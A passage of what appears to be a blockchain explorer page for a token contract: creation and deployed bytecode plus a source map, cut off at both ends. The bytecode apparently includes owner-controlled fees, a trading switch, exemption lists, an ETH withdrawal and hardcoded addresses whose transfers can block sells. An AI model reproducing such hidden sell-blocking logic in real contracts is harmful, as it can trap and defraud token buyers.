0092602083019080368337019050509050308160008151811061147b5761147b6118c9565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fd91906118f8565b81600181518110611510576115106118c9565b6001600160a01b0392831660209182029290920101526040516318cbafe560e01b8152908316906318cbafe59061155490869060009086903090429060040161195a565b600060405180830381600087803b15801561156e57600080fd5b505af1158015611582573d6000803e3d6000fd5b50506005805460ff191690555050505050565b600060208083528351808285015260005b818110156115c2578581018301518582016040015282016115a6565b818111156115d4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461112157600080fd5b8035610d92816115ea565b6000806040838503121561161d57600080fd5b8235611628816115ea565b946020939093013593505050565b60006020828403121561164857600080fd5b5035919050565b60008060006060848603121561166457600080fd5b833561166f816115ea565b9250602084013561167f816115ea565b929592945050506040919091013590565b6000602082840312156116a257600080fd5b813561070e816115ea565b80358015158114610d9257600080fd5b6000602082840312156116cf57600080fd5b61070e826116ad565b600080604083850312156116eb57600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561172357600080fd5b823567ffffffffffffffff8082111561173b57600080fd5b818501915085601f83011261174f57600080fd5b8135602082821115611763576117636116fa565b8160051b604051601f19603f83011681018181108682111715611788576117886116fa565b6040529283528183019350848101820192898411156117a657600080fd5b948201945b838610156117cb576117bc866115ff565b855294820194938201936117ab565b96506117da90508782016116ad565b9450505050509250929050565b600080604083850312156117fa57600080fd5b8235611805816115ea565b91506020830135611815816115ea565b809150509250929050565b600181811c9082168061183457607f821691505b60208210810361185457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561188a5761188a61185a565b500290565b6000826118ac57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c4576118c461185a565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118f1576118f161185a565b5060010190565b60006020828403121561190a57600080fd5b815161070e816115ea565b60008060006060848603121561192a57600080fd5b8351925060208401519150604084015190509250925092565b6000828210156119555761195561185a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119aa5784516001600160a01b031683529383019391830191600101611985565b50506001600160a01b0396909616606085015250505060800152939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220d786e533934037db6dae303452e4e022b602348039ad541a620de8b2ac83b72364736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c80636bf8e9cc1161010d578063c6510557116100a0578063dd62ed3e1161006f578063dd62ed3e1461056e578063f1153e64146105b4578063f2fde38b146105ca578063f8b45b05146105ea578063f95fa9cf146105ff57600080fd5b8063c651055714610503578063c7af2a9c14610523578063c816841b14610538578063d57038e11461055857600080fd5b80638da5cb5b116100dc5780638da5cb5b1461049557806395d89b41146104b8578063a9059cbb146104cd578063c4b44a40146104ed57600080fd5b80636bf8e9cc146103ff5780636c90b57f1461041f57806370a082311461043f5780638b4cee081461047557600080fd5b80632b96ddbe116101855780633ab1a494116101545780633ab1a494146103895780633ccfd60b146103a95780633d389faf146103be57806347fd4ab3146103df57600080fd5b80632b96ddbe146103225780632ccb9321146103375780632d36b92b1461034d578063313ce5671461036d57600080fd5b806318160ddd116101c157806318160ddd146102ad5780631a795197146102cc5780631d55009a146102ec57806323b872dd1461030257600080fd5b806306fdde03146101fe578063095ea7b3146102295780630cc835a3146102595780631581b6001461027b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021361061f565b6040516102209190611595565b60405180910390f35b34801561023557600080fd5b5061024961024436600461160a565b6106b1565b6040519015158152602001610220565b34801561026557600080fd5b50610279610274366004611636565b6106c7565b005b34801561028757600080fd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610220565b3480156102b957600080fd5b506000545b604051908152602001610220565b3480156102d857600080fd5b506102be6102e736600461160a565b6106f1565b3480156102f857600080fd5b506102be600c5481565b34801561030e57600080fd5b5061024961031d36600461164f565b610715565b34801561032e57600080fd5b5061027961077e565b34801561034357600080fd5b5061029561dead81565b34801561035957600080fd5b50600854610295906001600160a01b031681565b34801561037957600080fd5b5060405160098152602001610220565b34801561039557600080fd5b506102796103a4366004611690565b6107a7565b3480156103b557600080fd5b506102796107e0565b3480156103ca57600080fd5b5060075461024990600160a01b900460ff1681565b3480156103eb57600080fd5b506102796103fa3660046116bd565b610801565b34801561040b57600080fd5b5061027961041a3660046116d8565b61083b565b34801561042b57600080fd5b5061027961043a366004611710565b610878565b34801561044b57600080fd5b506102be61045a366004611690565b6001600160a01b031660009081526003602052604090205490565b34801561048157600080fd5b50610279610490366004611636565b6108f9565b3480156104a157600080fd5b5060055461010090046001600160a01b0316610295565b3480156104c457600080fd5b50610213610923565b3480156104d957600080fd5b506102496104e836600461160a565b610932565b3480156104f957600080fd5b506102be600b5481565b34801561050f57600080fd5b5061027961051e366004611690565b61093f565b34801561052f57600080fd5b50610279610978565b34801561054457600080fd5b50600754610295906001600160a01b031681565b34801561056457600080fd5b506102be600a5481565b34801561057a57600080fd5b506102be6105893660046117e7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c057600080fd5b506102be600d5481565b3480156105d657600080fd5b506102796105e5366004611690565b610cf1565b3480156105f657600080fd5b506102be610d35565b34801561060b57600080fd5b506102be61061a36600461160a565b610d97565b60606001805461062e90611820565b80601f016020809104026020016040519081016040528092919081815260200182805461065a90611820565b80156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b5050505050905090565b60006106be338484610daa565b50600192915050565b6006546001600160a01b031633146106de57600080fd5b60c88111156106ec57600080fd5b600a55565b60006103e8600b54836107049190611870565b61070e919061188f565b9392505050565b6000610722848484610e0b565b6001600160a01b03841660009081526004602090815260408083203384529091529020548281101561075357600080fd5b600019810361076657600191505061070e565b6107738533858403610daa565b506001949350505050565b6006546001600160a01b0316331461079557600080fd5b600880546001600160a01b0319169055565b6006546001600160a01b031633146107be57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146107f757600080fd5b6107ff6110e8565b565b60055461010090046001600160a01b0316331461081d57600080fd5b60078054911515600160a01b0260ff60a01b19909216919091179055565b6006546001600160a01b0316331461085257600080fd5b600c829055600d8190556103e861086982846118b1565b111561087457600080fd5b5050565b6006546001600160a01b0316331461088f57600080fd5b60005b82518110156108f45781600960008584815181106108b2576108b26118c9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556108ed816118df565b9050610892565b505050565b6006546001600160a01b0316331461091057600080fd5b60c881111561091e57600080fd5b600b55565b60606002805461062e90611820565b60006106be338484610e0b565b6006546001600160a01b0316331461095657600080fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60055461010090046001600160a01b0316331461099457600080fd5b6007546001600160a01b0316156109aa57600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2291906118f8565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa791906118f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610af4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1891906118f8565b90506000610b2560005490565b306000818152600360205260408082208490555192935090916000805160206119cc83398151915290610b5b9085815260200190565b60405180910390a3678ac7230489e800007fbfa5abf96260ef11e77bab0134dfe7527e905016edffeff8de6532a3f97a0dd755306000818152600460208181526040808420737a250d5630b4cf539739df2c5dacb4c659f2488d80865290835281852060001990556001600160a01b03881685526009909252808420805460ff191660011790555163f305d71960e01b815291820193909352602481018490526044810182905260648101919091523360848201524260a482015263f305d71990479060c40160606040518083038185885af1158015610c3f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c649190611915565b5050600780546001600160a01b0319166001600160a01b0394909416939093179092555050600080547368b3465833fb72a70ecdf485e0e4c7bd8665fc459091527fad4823b8463e2fe0eefa8032369dc1c9523327637c1c5f4c0a10d15ec47c61b66020527f763e8eafa239a8223517ab415df208cc20c19921ecb6ff734aa983a23fa8324d5542601055565b60055461010090046001600160a01b03163314610d0d57600080fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000601054600003610d48575060005490565b6000603c600f5460105442610d5d9190611943565b610d679190611870565b610d71919061188f565b600e54610d7e91906118b1565b9050600054811115610d9257505060005490565b919050565b60006103e8600a54836107049190611870565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316600090815260036020526040902054811115610e785760405162461bcd60e51b815260206004820152601d60248201527f6e6f7420656e6f75676820746f6b656e20666f72207472616e7366657200000060448201526064015b60405180910390fd5b6001600160a01b038216610ec25760405162461bcd60e51b8152602060048201526011602482015270696e636f7272656374206164647265737360781b6044820152606401610e6f565b6007546001600160a01b038481169116148015610ef857506001600160a01b03821660009081526009602052604090205460ff16155b15611000577386d50d942f0986eef5acf9ead57ff10bef71a5a5196001600160a01b03831601610f30576011805460ff191660011790555b600754600160a01b900460ff16610f7c5760405162461bcd60e51b815260206004820152601060248201526f1d1c98591a5b99c8191a5cd8589b195960821b6044820152606401610e6f565b610f87838383611124565b9050610f91610d35565b6001600160a01b038316600090815260036020526040902054610fb59083906118b1565b1115610ffb5760405162461bcd60e51b81526020600482015260156024820152741b585e081dd85b1b195d0818dbdb9cdd1c985a5b9d605a1b6044820152606401610e6f565b6110dd565b60055460ff1615801561101d57506007546001600160a01b031615155b801561103657506007546001600160a01b038381169116145b801561105b57506001600160a01b03831660009081526009602052604090205460ff16155b156110dd577386d50d942f0986eef5acf9ead57ff10bef71a5a5196001600160a01b03841601611090576011805460ff191690555b60115460ff16156110a057600080fd5b6110aa8382611142565b306000908152600360205260409020549091506110dd908290737a250d5630b4cf539739df2c5dacb4c659f2488d611153565b6108f483838361118b565b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611121573d6000803e3d6000fd5b50565b600061113a84836111358686610d97565b611230565b949350505050565b600061070e838361113586866106f1565b8160000361116057505050565b600061116d846002611870565b90508083111561117b578092505b6111858383611439565b50505050565b6001600160a01b038316600090815260036020526040902054818110156111b157600080fd5b6001600160a01b038085166000908152600360205260408082208585039055918516815290812080548492906111e89084906118b1565b92505081905550826001600160a01b0316846001600160a01b03166000805160206119cc8339815191528460405161122291815260200190565b60405180910390a350505050565b6000806103e8600c54846112449190611870565b61124e919061188f565b6008549091506000906001600160a01b031615611283576103e8600d54856112769190611870565b611280919061188f565b90505b60006103e8600d54600c5461129891906118b1565b10156112b657816112a98487611943565b6112b39190611943565b90505b6112c08587611943565b6001600160a01b0388166000908152600360205260408120805492985087929091906112ed908490611943565b9091555050821561134b5730600090815260036020526040812080548592906113179084906118b1565b909155505060405183815230906001600160a01b038916906000805160206119cc8339815191529060200160405180910390a35b81156113b4576008546001600160a01b03166000908152600360205260408120805484929061137b9084906118b1565b90915550506008546040518381526001600160a01b03918216918916906000805160206119cc8339815191529060200160405180910390a35b801561142e5761dead600090815260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c80548392906113f89084906118b1565b909155505060405181815261dead906001600160a01b038916906000805160206119cc8339815191529060200160405180910390a35b509395945050505050565b6005805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147b5761147b6118c9565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fd91906118f8565b81600181518110611510576115106118c9565b6001600160a01b0392831660209182029290920101526040516318cbafe560e01b8152908316906318cbafe59061155490869060009086903090429060040161195a565b600060405180830381600087803b15801561156e57600080fd5b505af1158015611582573d6000803e3d6000fd5b50506005805460ff191690555050505050565b600060208083528351808285015260005b818110156115c2578581018301518582016040015282016115a6565b818111156115d4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461112157600080fd5b8035610d92816115ea565b6000806040838503121561161d57600080fd5b8235611628816115ea565b946020939093013593505050565b60006020828403121561164857600080fd5b5035919050565b60008060006060848603121561166457600080fd5b833561166f816115ea565b9250602084013561167f816115ea565b929592945050506040919091013590565b6000602082840312156116a257600080fd5b813561070e816115ea565b80358015158114610d9257600080fd5b6000602082840312156116cf57600080fd5b61070e826116ad565b600080604083850312156116eb57600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000806040838503121561172357600080fd5b823567ffffffffffffffff8082111561173b57600080fd5b818501915085601f83011261174f57600080fd5b8135602082821115611763576117636116fa565b8160051b604051601f19603f83011681018181108682111715611788576117886116fa565b6040529283528183019350848101820192898411156117a657600080fd5b948201945b838610156117cb576117bc866115ff565b855294820194938201936117ab565b96506117da90508782016116ad565b9450505050509250929050565b600080604083850312156117fa57600080fd5b8235611805816115ea565b91506020830135611815816115ea565b809150509250929050565b600181811c9082168061183457607f821691505b60208210810361185457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561188a5761188a61185a565b500290565b6000826118ac57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c4576118c461185a565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118f1576118f161185a565b5060010190565b60006020828403121561190a57600080fd5b815161070e816115ea565b60008060006060848603121561192a57600080fd5b8351925060208401519150604084015190509250925092565b6000828210156119555761195561185a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119aa5784516001600160a01b031683529383019391830191600101611985565b50506001600160a01b0396909616606085015250505060800152939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220d786e533934037db6dae303452e4e022b602348039ad541a620de8b2ac83b72364736f6c634300080f0033

Deployed Bytecode Sourcemap

16893:425:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5507:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6778:193;;;;;;;;;;-1:-1:-1;6778:193:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;6778:193:0;1211:187:1;14171:147:0;;;;;;;;;;-1:-1:-1;14171:147:0;;;;;:::i;:::-;;:::i;:::-;;688:101;;;;;;;;;;-1:-1:-1;765:16:0;;-1:-1:-1;;;;;765:16:0;688:101;;;-1:-1:-1;;;;;1752:32:1;;;1734:51;;1722:2;1707:18;688:101:0;1588:203:1;5790:102:0;;;;;;;;;;-1:-1:-1;5845:7:0;5872:12;5790:102;;;1942:25:1;;;1930:2;1915:18;5790:102:0;1796:177:1;13994:169:0;;;;;;;;;;-1:-1:-1;13994:169:0;;;;;:::i;:::-;;:::i;10234:30::-;;;;;;;;;;;;;;;;7207:504;;;;;;;;;;-1:-1:-1;7207:504:0;;;;;:::i;:::-;;:::i;14664:106::-;;;;;;;;;;;;;:::i;9949:87::-;;;;;;;;;;;;9994:42;9949:87;;10043:27;;;;;;;;;;-1:-1:-1;10043:27:0;;;;-1:-1:-1;;;;;10043:27:0;;;5697:85;;;;;;;;;;-1:-1:-1;5697:85:0;;5141:1;2581:36:1;;2569:2;2554:18;5697:85:0;2439:184:1;521:159:0;;;;;;;;;;-1:-1:-1;521:159:0;;;;;:::i;:::-;;:::i;325:74::-;;;;;;;;;;;;;:::i;9914:28::-;;;;;;;;;;-1:-1:-1;9914:28:0;;;;-1:-1:-1;;;9914:28:0;;;;;;16591:89;;;;;;;;;;-1:-1:-1;16591:89:0;;;;;:::i;:::-;;:::i;14778:246::-;;;;;;;;;;-1:-1:-1;14778:246:0;;;;;:::i;:::-;;:::i;16340:243::-;;;;;;;;;;-1:-1:-1;16340:243:0;;;;;:::i;:::-;;:::i;17153:162::-;;;;;;;;;;-1:-1:-1;17153:162:0;;;;;:::i;:::-;-1:-1:-1;;;;;17289:18:0;17257:7;17289:18;;;:9;:18;;;;;;;17153:162;14326:152;;;;;;;;;;-1:-1:-1;14326:152:0;;;;;:::i;:::-;;:::i;1170:81::-;;;;;;;;;;-1:-1:-1;1237:6:0;;;;;-1:-1:-1;;;;;1237:6:0;1170:81;;5600:89;;;;;;;;;;;;;:::i;5993:199::-;;;;;;;;;;-1:-1:-1;5993:199:0;;;;;:::i;:::-;;:::i;10180:30::-;;;;;;;;;;;;;;;;14486:170;;;;;;;;;;-1:-1:-1;14486:170:0;;;;;:::i;:::-;;:::i;11415:1144::-;;;;;;;;;;;;;:::i;9881:26::-;;;;;;;;;;-1:-1:-1;9881:26:0;;;;-1:-1:-1;;;;;9881:26:0;;;10127:29;;;;;;;;;;;;;;;;6584:186;;;;;;;;;;-1:-1:-1;6584:186:0;;;;;:::i;:::-;-1:-1:-1;;;;;6735:18:0;;;6703:7;6735:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6584:186;10284:29;;;;;;;;;;;;;;;;1062:100;;;;;;;;;;-1:-1:-1;1062:100:0;;;;;:::i;:::-;;:::i;11072:335::-;;;;;;;;;;;;;:::i;13819:167::-;;;;;;;;;;-1:-1:-1;13819:167:0;;;;;:::i;:::-;;:::i;5507:85::-;5546:13;5579:5;5572:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5507:85;:::o;6778:193::-;6882:4;6904:37;6913:10;6925:7;6934:6;6904:8;:37::i;:::-;-1:-1:-1;6959:4:0;6778:193;;;;:::o;14171:147::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;14271:3:::1;14255:12;:19;;14247:28;;;::::0;::::1;;14286:9;:24:::0;14171:147::o;13994:169::-;14095:7;14151:4;14137:10;;14128:6;:19;;;;:::i;:::-;14127:28;;;;:::i;:::-;14120:35;13994:169;-1:-1:-1;;;13994:169:0:o;7207:504::-;7341:4;7358:36;7368:6;7376:9;7387:6;7358:9;:36::i;:::-;-1:-1:-1;;;;;7434:19:0;;7407:24;7434:19;;;:11;:19;;;;;;;;7454:10;7434:31;;;;;;;;7484:26;;;;7476:35;;;;;;-1:-1:-1;;7526:16:0;:38;7522:55;;7573:4;7566:11;;;;;7522:55;7613;7622:6;7630:10;7661:6;7642:16;:25;7613:8;:55::i;:::-;-1:-1:-1;7699:4:0;;7207:504;-1:-1:-1;;;;7207:504:0:o;14664:106::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;14737:12:::1;:25:::0;;-1:-1:-1;;;;;;14737:25:0::1;::::0;;14664:106::o;521:159::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;635:16:::1;:37:::0;;-1:-1:-1;;;;;;635:37:0::1;-1:-1:-1::0;;;;;635:37:0;;;::::1;::::0;;;::::1;::::0;;521:159::o;325:74::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;380:11:::1;:9;:11::i;:::-;325:74::o:0;16591:89::-;967:6;;;;;-1:-1:-1;;;;;967:6:0;953:10;:20;945:29;;;;;;16655:9:::1;:17:::0;;;::::1;;-1:-1:-1::0;;;16655:17:0::1;-1:-1:-1::0;;;;16655:17:0;;::::1;::::0;;;::::1;::::0;;16591:89::o;14778:246::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;14902:9:::1;:24:::0;;;14937:10:::1;:29:::0;;;15011:4:::1;14985:22;14950:16:::0;14914:12;14985:22:::1;:::i;:::-;:30;;14977:39;;;::::0;::::1;;14778:246:::0;;:::o;16340:243::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;16469:9:::1;16464:112;16488:8;:15;16484:1;:19;16464:112;;;16559:5;16525:18;:31;16544:8;16553:1;16544:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;16525:31:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;16525:31:0;:39;;-1:-1:-1;;16525:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16505:3:::1;::::0;::::1;:::i;:::-;;;16464:112;;;;16340:243:::0;;:::o;14326:152::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;14429:3:::1;14412:13;:20;;14404:29;;;::::0;::::1;;14444:10;:26:::0;14326:152::o;5600:89::-;5641:13;5674:7;5667:14;;;;;:::i;5993:199::-;6100:4;6122:40;6132:10;6144:9;6155:6;6122:9;:40::i;14486:170::-;280:16;;-1:-1:-1;;;;;280:16:0;266:10;:30;258:39;;;;;;14610:12:::1;:38:::0;;-1:-1:-1;;;;;;14610:38:0::1;-1:-1:-1::0;;;;;14610:38:0;;;::::1;::::0;;;::::1;::::0;;14486:170::o;11415:1144::-;967:6;;;;;-1:-1:-1;;;;;967:6:0;953:10;:20;945:29;;;;;;11478:11:::1;::::0;-1:-1:-1;;;;;11478:11:0::1;:25:::0;11470:34:::1;;;::::0;::::1;;11515:12;9831:42;-1:-1:-1::0;;;;;11548:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11530:56:0::1;;11609:4;9831:42;-1:-1:-1::0;;;;;11629:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11530:133;::::0;-1:-1:-1;;;;;;11530:133:0::1;::::0;;;;;;-1:-1:-1;;;;;7007:15:1;;;11530:133:0::1;::::0;::::1;6989:34:1::0;7059:15;;7039:18;;;7032:43;6924:18;;11530:133:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11515:148;;11674:24;11701:27;5845:7:::0;5872:12;;5790:102;11701:27:::1;11757:4;11739:24;::::0;;;:9:::1;:24;::::0;;;;;:43;;;11798:53;11674:54;;-1:-1:-1;11757:4:0;;-1:-1:-1;;;;;;;;;;;11798:53:0;::::1;::::0;11674:54;1942:25:1;;1930:2;1915:18;;1796:177;11798:53:0::1;;;;;;;;11893:4;11864:26:::0;:33;12003:4:::1;11864:26;11983::::0;;;:11:::1;11864:26;11983::::0;;;11864;11983;;;9831:42:::1;11983:77:::0;;;;;;;;;-1:-1:-1;;11983:98:0;;-1:-1:-1;;;;;12092:24:0;::::1;::::0;;:18:::1;:24:::0;;;;;;:31;;-1:-1:-1;;12092:31:0::1;12119:4;12092:31;::::0;;12134:219;-1:-1:-1;;;12134:219:0;;;;::::1;7427:34:1::0;;;;7477:18;;;7470:34;;;7520:18;;;7513:34;;;7563:18;;;7556:34;;;;12302:10:0::1;7606:19:1::0;;;7599:44;12327:15:0::1;7659:19:1::0;;;7652:35;12134:32:0::1;::::0;12174:21:::1;::::0;7361:19:1;;12134:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12366:11:0::1;:18:::0;;-1:-1:-1;;;;;;12366:18:0::1;-1:-1:-1::0;;;;;12366:18:0;;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;;;12494:12:0;;12438:42:::1;12395:96:::0;;;:28;::::1;:96:::0;;:111;12536:15:::1;12517:16;:34:::0;11415:1144::o;1062:100::-;967:6;;;;;-1:-1:-1;;;;;967:6:0;953:10;:20;945:29;;;;;;1137:6:::1;:17:::0;;-1:-1:-1;;;;;1137:17:0;;::::1;;;-1:-1:-1::0;;;;;;1137:17:0;;::::1;::::0;;;::::1;::::0;;1062:100::o;11072:335::-;11114:7;11138:16;;11158:1;11138:21;11134:46;;-1:-1:-1;11168:12:0;;;11072:335::o;11134:46::-;11191:11;11314:9;11275:21;;11255:16;;11237:15;:34;;;;:::i;:::-;11236:60;;;;:::i;:::-;11235:89;;;;:::i;:::-;11205:14;;:119;;;;:::i;:::-;11191:133;;11345:12;;11339:3;:18;11335:43;;;-1:-1:-1;;11366:12:0;;;11072:335::o;11335:43::-;11396:3;11072:335;-1:-1:-1;11072:335:0:o;13819:167::-;13919:7;13974:4;13961:9;;13952:6;:18;;;;:::i;6979:220::-;-1:-1:-1;;;;;7107:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7159:32;;1942:25:1;;;7159:32:0;;1915:18:1;7159:32:0;;;;;;;6979:220;;;:::o;12567:1244::-;-1:-1:-1;;;;;12699:15:0;;;;;;:9;:15;;;;;;:25;-1:-1:-1;12699:25:0;12691:67;;;;-1:-1:-1;;;12691:67:0;;8341:2:1;12691:67:0;;;8323:21:1;8380:2;8360:18;;;8353:30;8419:31;8399:18;;;8392:59;8468:18;;12691:67:0;;;;;;;;;-1:-1:-1;;;;;12777:16:0;;12769:46;;;;-1:-1:-1;;;12769:46:0;;8699:2:1;12769:46:0;;;8681:21:1;8738:2;8718:18;;;8711:30;-1:-1:-1;;;8757:18:1;;;8750:47;8814:18;;12769:46:0;8497:341:1;12769:46:0;12856:11;;-1:-1:-1;;;;;12848:19:0;;;12856:11;;12848:19;:46;;;;-1:-1:-1;;;;;;12872:22:0;;;;;;:18;:22;;;;;;;;12871:23;12848:46;12844:893;;;-1:-1:-1;;;;;;;12915:8:0;;;12911:23;;12925:2;:9;;-1:-1:-1;;12925:9:0;12930:4;12925:9;;;12911:23;12957:9;;-1:-1:-1;;;12957:9:0;;;;12949:38;;;;-1:-1:-1;;;12949:38:0;;9045:2:1;12949:38:0;;;9027:21:1;9084:2;9064:18;;;9057:30;-1:-1:-1;;;9103:18:1;;;9096:46;9159:18;;12949:38:0;8843:340:1;12949:38:0;13037:28;13048:4;13054:2;13058:6;13037:10;:28::i;:::-;13028:37;;13132:11;:9;:11::i;:::-;-1:-1:-1;;;;;13106:13:0;;;;;;:9;:13;;;;;;:22;;13122:6;;13106:22;:::i;:::-;:37;;13080:120;;;;-1:-1:-1;;;13080:120:0;;9390:2:1;13080:120:0;;;9372:21:1;9429:2;9409:18;;;9402:30;-1:-1:-1;;;9448:18:1;;;9441:51;9509:18;;13080:120:0;9188:345:1;13080:120:0;12844:893;;;13263:7;;;;13262:8;:50;;;;-1:-1:-1;13287:11:0;;-1:-1:-1;;;;;13287:11:0;:25;;13262:50;:84;;;;-1:-1:-1;13335:11:0;;-1:-1:-1;;;;;13329:17:0;;;13335:11;;13329:17;13262:84;:126;;;;-1:-1:-1;;;;;;13364:24:0;;;;;;:18;:24;;;;;;;;13363:25;13262:126;13244:493;;;-1:-1:-1;;;;;;;13419:10:0;;;13415:26;;13431:2;:10;;-1:-1:-1;;13431:10:0;;;13415:26;13465:2;;;;13464:3;13456:12;;;;;;13512:25;13524:4;13530:6;13512:11;:25::i;:::-;13669:4;13651:24;;;;:9;:24;;;;;;13503:34;;-1:-1:-1;13580:145:0;;13503:34;;9831:42;13580:27;:145::i;:::-;13770:33;13786:4;13792:2;13796:6;13770:15;:33::i;407:106::-;456:16;;448:57;;-1:-1:-1;;;;;456:16:0;;;;483:21;448:57;;;;;456:16;448:57;456:16;448:57;483:21;456:16;448:57;;;;;;;;;;;;;;;;;;;;;407:106::o;15032:196::-;15145:7;15172:48;15184:4;15190:6;15198:21;15208:2;15212:6;15198:9;:21::i;:::-;15172:11;:48::i;:::-;15165:55;15032:196;-1:-1:-1;;;;15032:196:0:o;15236:177::-;15322:7;15354:51;15366:4;15372:6;15380:24;15391:4;15397:6;15380:10;:24::i;3723:379::-;3898:9;3911:1;3898:14;3894:27;;3723:379;;;:::o;3894:27::-;3931:20;3954:18;3958:14;3954:1;:18;:::i;:::-;3931:41;;3999:12;3987:9;:24;3983:54;;;4025:12;4013:24;;3983:54;4048:46;4066:9;4077:16;4048:17;:46::i;:::-;3883:219;3723:379;;;:::o;6200:376::-;-1:-1:-1;;;;;6347:15:0;;6323:21;6347:15;;;:9;:15;;;;;;6381:23;;;;6373:32;;;;;;-1:-1:-1;;;;;6441:15:0;;;;;;;:9;:15;;;;;;6459:22;;;6441:40;;6503:13;;;;;;;;:23;;6475:6;;6441:15;6503:23;;6475:6;;6503:23;:::i;:::-;;;;;;;;6557:2;-1:-1:-1;;;;;6542:26:0;6551:4;-1:-1:-1;;;;;6542:26:0;-1:-1:-1;;;;;;;;;;;6561:6:0;6542:26;;;;1942:25:1;;1930:2;1915:18;;1796:177;6542:26:0;;;;;;;;6312:264;6200:376;;;:::o;15421:911::-;15536:7;15556:15;15594:4;15581:9;;15575:3;:15;;;;:::i;:::-;15574:24;;;;:::i;:::-